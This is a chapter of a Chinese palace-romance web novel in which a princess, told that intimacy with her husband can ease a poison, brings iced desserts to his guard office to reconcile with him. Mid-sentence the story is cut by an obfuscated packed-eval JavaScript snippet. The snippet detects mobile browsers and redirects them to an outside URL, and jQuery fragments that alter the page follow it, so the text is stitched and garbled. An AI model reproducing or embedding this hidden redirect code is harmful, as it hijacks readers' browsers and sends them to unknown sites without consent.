次日,谈女医又来与容鲤详述此事。
谈女医讲得极细,并将凝神丸也拿出来,教予携月扶云如何使用。
容鲤本有些不解,既有丸药可服,又为何要那……那交合之法?
却听得谈女医说起,这凝神丸也不过是治标不治本,而且随着使用次数的增多,效果大打折扣不说,还会使得下一次发作更为剧烈,非极紧急的时候最好不用。
两厢比较之下,还是那阴阳交合的法子更为妥当。
容鲤再是羞窘也没了法子,只得收下了谈女医带来的那一叠叠宫禁秘图。
谈女医见长公主殿下几乎视死如归的神色,终是忍不住轻笑了两声,笑着宽慰她:“殿下也不必这样焦灼。依照臣的预断,此毒症状乃是由浅入深,前期并不频繁,也并非一定要用上此物。”
容鲤才刚松口气,又听见谈女医肃容道:“只不过殿下及笄礼在即,待殿下及笄后,发作会更猛烈些,这些册子提前看一看也没甚坏处。”
容鲤刚松的那口气便卡在了喉咙口。
谈女医事务繁忙,因她要跟着容鲤随侍,宫中为顺天帝调理身子的事务便要交给她的几个徒儿熟悉,她这几日都在仔细调教那几个徒儿,很快又步履匆匆而去。
容鲤对着那些瞧上去和正经书并没有任何分别的宫禁秘图,仿佛要从那封皮上看出朵花儿来。
不知在心里给自己打了多少气之后,容鲤才终于从上头拿了一本。
打头倒是和其余书册一样,很是公事公办地列了一系列的目录,瞧着有好几页。
容鲤扫了几眼,见上头所写大抵都是什么“巫山一段云”、“花窗低语”、“竹榻清风”等,还放下心来:“倒都是些雅致东西,兴许是我想的太污秽。”
然而再往后面翻了两页,上头那些纤毫毕现的图画猛然跳入容鲤眼帘,粉白缠绵的一片,叫容鲤猛得一下阖上了书页,如同被火烫着了一般,瞬间远远地丢开了:“收起来收起来!成何体统!”
扶云还有些不明所以,不过是本避火图,她也奉陛下之令备了一些,有这般叫人避之不及?不想走上前去打开一看,饶是平静无波如她,也经不住呛了一口气。
这哪是什么行敦伦之礼的教引图册!画的太过活灵活现不说,竟还有些对话言谈,着实太逾矩孟浪!
扶云面上的笑都挂不住,见容鲤面都红得如同煮熟的虾子一般了,也不敢再说什么,没得叫殿下更是羞窘,只能喊上携月赶紧将这些书册都收起来,放到压箱底的地方去。
携月不曾见那图册上的内容,见扶云面色古怪成这般,正满腹狐疑。待走到外间,不免问起为何,扶云也只能干巴巴地挤出一句:“谈女医乃是滇人,民风开放也是常理,那册子并非中原常见,着实有些……大胆粗野。”
“谈大人怎会如此不知分寸?”
“想必哪是谈大人的意思呢……”
她二人都是自小就跟着容鲤伺候的女官,皆不曾婚配,眼下皆明了了这册子究竟是谁吩咐下来准备的,又羞于讨论此事,皆沉默无言了,却也规规矩矩把书册收到出宫时要一同带出去的箱笼里。
此后容鲤又在宫中调养了两日,顺天帝亲自来看过,见女儿气色确实安稳了不少,便允了她回公主府的请求。
容琰前来送她出宫,粉白文弱的一张小脸上尽是挂怀之色,可惜容鲤羞得厉害,同他心不在焉地说了几句话,便匆匆回府了。
容琰牵着嬷嬷的手,糯声问道:“长姐可是身子还没好全,我听长姐声音,似有些有气无力?”
嬷嬷不敢胡乱揣测,只能搪塞过去。
*
重回公主府,容鲤霎时如乳燕投林般飞入自己的寝宫之中。
府中一切如旧,奢华精致,容鲤一进寝宫,肩头上便扑腾来一只小东西。
“殿下万福!殿下万福!”珠圆玉润的小嗓子在她耳边跳着。“殿下好,殿下亲亲!”
容鲤心头的那些忧愁焦灼霎时飞到了九霄云外,颊边生笑,一点儿梨涡若隐若现,一边伸手将肩膀上的小东西引到手背上,一边把它规整的翎羽揉乱:“可不许撒娇卖乖,本宫才去宫中住了几日,你就这样油嘴滑舌,难不成还有谁敢少了你的吃食?”
“胖成这样,以后不许吃零嘴儿了。”容鲤虽这样说着,却还是熟练地摸出一叠儿细银米,挂到鸟架上去。
鹦哥儿见了米,方才还亲亲的长公主殿下也不香了,呼啦一下就飞去吃食去了。
“这小东西!”容鲤被它这个憨态可掬的模样逗乐了,和扶云携月告起状来。
见容鲤终于和往常一样了,扶云和携月才放下心来。
不想容鲤喂了鸟儿,换了常服,往软榻上一坐,第一个问题便是:“驸马呢?”
正在吃食的鹦哥儿立马接上一句“坏驸马坏驸马”,惹得容鲤轻轻拍了拍它的头。
“我从宫中回来,驸马也不来接接我?”容鲤凤眸微微睁大了一些,纯然的困惑。
携月虽然不愿,但早就料到有这一出,正欲将驸马今日的行程念出,便见容鲤一抚掌:“驸马新领了金吾卫指挥使之职,虽不用再日日巡防,想必在金吾卫衙署亦有诸多文书要理,必是不得空的。”
见她不再如前几日一般说起驸马便是一股子黏糊缠人劲,携月终于觉得身上松快许多,点点头道:“正是如此。前两日京中有一要案,驸马诸事繁忙。”
“唔。”容鲤点了点头。
只要她不想着驸马,携月脸上也有了笑意,正准备问问殿下午膳准备用什么,就见容鲤擦了擦颈边的细汗,微微皱眉道:“都九月的天儿了,近晌午时还是这样热。”
携月揣摩着容鲤恐怕嘴馋贪凉了,就见容鲤冲她笑得眉眼弯弯:“姑姑去冰室命人制些酥山过来罢,多制一些。”
“诺。只是酥山虽味美,殿下脾胃弱,不可吃太多。”携月正打算往外去吩咐,就见容鲤招了扶云往内室去。
携月心中略有所感,就听见容鲤的声音从里头传出来:“一共制六份罢。再叫小厨房多制些红绿豆汤等,用冰鉴镇着。”
……原来在这儿等着她呢!
殿下小小年纪,便会图穷匕见了!
除却指挥使常值,金吾卫衙署还要每日留四位郎将当值,其余人等按时辰巡防,并不常驻。
殿下非但不是不对驸马日夜记挂了,还要亲自去上门会一会人呢。
携月板着脸去了。
扶云在内间为容鲤更衣,见容鲤面上一直不曾消下去的梨涡浅浅,知道她的心情是当真雀跃的。
尽管陌生,可……又有何不好呢?
殿下已然是那样辛苦了。
*
不多时,六份精致剔透的酥山,并几大盅用碎冰镇得沁凉的红绿豆汤便已备好,装入厚重的冰鉴之中。
容鲤从小畏热,扶云为容鲤换了一身轻薄些的鹅黄色襦裙,外披氅衣,鬓边一对金蝴蝶步摇,随着容鲤步伐震震而动,展翅欲飞,娇美可人。
公主銮驾至衙署门前,自然无人敢拦。守门的卫士见是长公主殿下亲临,慌忙行礼通报,一路引着她入内。
金吾卫衙署不同于公主府的精致婉约,处处透着一股冷硬肃杀之气,恐怕衙署门口威严的石狮子也不曾想过这儿还能迎来一行珠环翠绕、香风阵阵的仪仗。
容鲤心中雀跃,只想快些见到展钦。
她这两日又偷偷参考了不少话本子,已想好了,夫妻之间本不应该有什么隔阂,更何况她与驸马本就不是那等相敬如宾的夫妻,乃是琴瑟和鸣的佳偶。
一时吵架而已,她也过了自己心上的坎儿,知道是自己说的不对,这便借机来求和来了。
行动间虽有华盖遮阳,却也走出一身香汗。
衙署正堂无人,引路的卫从见公主亲临,惊愕之色溢于言表,却也不敢隐瞒,立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437607|184965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
即回禀:“指挥使大人正在后堂书房处理公务。”
容鲤点点头,示意他带路。
书房的门虚掩着。卫从通报后,便听得里面传来一声低沉的“进”。
容鲤让侍从们在门外等候,自己亲手从冰鉴里取出一份酥山,脸上带着盈盈笑意,推门而入。
“驸马!”她声音娇脆,如同莺啼,“久不见你至公主府,是被什么事儿绊住了脚?”
语声却卡在了喉间。
书房内气氛凝肃。展钦并未端坐案后,而是负手立于窗前,玄色官袍衬得身形挺拔如松。
另有三四位披甲挎刀的将领肃立一旁,地上竟还跪着两个被麻绳反缚、衣衫染尘的男子,显是刚经了一番讯问。
骤然的静谧被容鲤的闯入打破。
所有目光瞬间聚焦于她身上,那些将领更是惊诧不已,个个不敢置信,传闻中与新任上官夫妻极为不睦的长公主殿下,竟会如此和颜悦色地来寻他,又立刻垂下视线,不敢直视。
展钦闻声回眸,见到手捧冰碗、笑靥如花的容鲤,他眉峰几不可察地微微一蹙。
待他的目光掠过她手中那碗与满室冷凝气息格格不入的酥山,展钦只觉得眉心一跳:“殿下为何来此?”
“本宫见日头燥热,送些冰食与你……”容鲤声气不自觉弱了下去。
“军务未毕,无暇他顾。”展钦语罢,转而看向扶云,“先侍奉殿下回府。”
这般直白的回绝驱遣,宛如冷水泼面。
若是往常,容鲤定然羞恼不已,转身就走,再不来了。
但这几日她参考了这样多话本子,来之前也想了一路,本就是她惹了与自己鹣鲽情深的夫君,得人家冷脸也是人之常情。
更何况她堂堂晋阳长公主殿下,绝非知难而返之辈,哄夫君本就是长久之事,又岂在一朝一夕?
再说了,眼下还有更要紧的“事”呢。
若不将驸马拿下,谁来为她解毒?
所以容鲤只将手中酥山放在桌案上,又命人将其余的先放下。
“诸位大人们殚精竭虑,皆是为守护皇城安全。本宫原是念着秋日晌午燥热,大人们辛苦,才特意为驸马与诸位在衙署当值的大人们备了些冰饮汤食。”容鲤眸光轻转,唇角含笑,朝几位郎将微微颔首,“倒不想来得不巧,正逢诸位大人商议要务,倒是本宫唐突了。”
她语气脆生生的,尚显稚气,一举一动却温雅从容。
容鲤目光掠过一旁侍立的展钦,复又莞尔一笑:“诸位且安心议事。”
“本宫随意寻个厢房阁楼,待驸马下值。”
容鲤话音犹在耳侧,她却已然出了书房,毫不纠缠。
——也不对,她方才说的是……待驸马下值?
*
展钦之事,本也是处理到了尾声,并无多少好再讨论商议的。
加之几位郎将见了这样一出外头之人怎么想也想不到的场面,个个归心似箭,书房不一会儿便散了场。那几个人里有个格外混不吝不怕事的,还真就从放在一边的冰鉴里捞了一盏出来,欢欢喜喜地去了,丝毫不觉背后展钦目光如何冷肃。
展钦望着容鲤特意放在他桌案上的那一盏酥山,眸底不辨神色,半晌才找了人来,问清了容鲤眼下在哪,便往那处去了。
这卫从今日亲眼所见,长公主殿下亲来寻夫,展大人竟又寻回殿下,心中已是一肚子八卦杂言,激动难忍,就等换班时扎回人群之中去说道此事了。
展钦至容鲤所在小阁之时,容鲤正在桌前吃着酥山翻着杂本,看得专注,不曾注意到他。
从他这个角度看去,小姑娘眼睫弯弯,脸小小一捧,坐在那儿如同一朵轻飘飘的云霞。
不知是不是天热的,她的脸颊生了绯色,正有一下没一下地用捧着冰盏的手冰过自己的脸颊脖颈。
一点儿悄然异香,不知从何而来,在展钦鼻尖缠绕不去。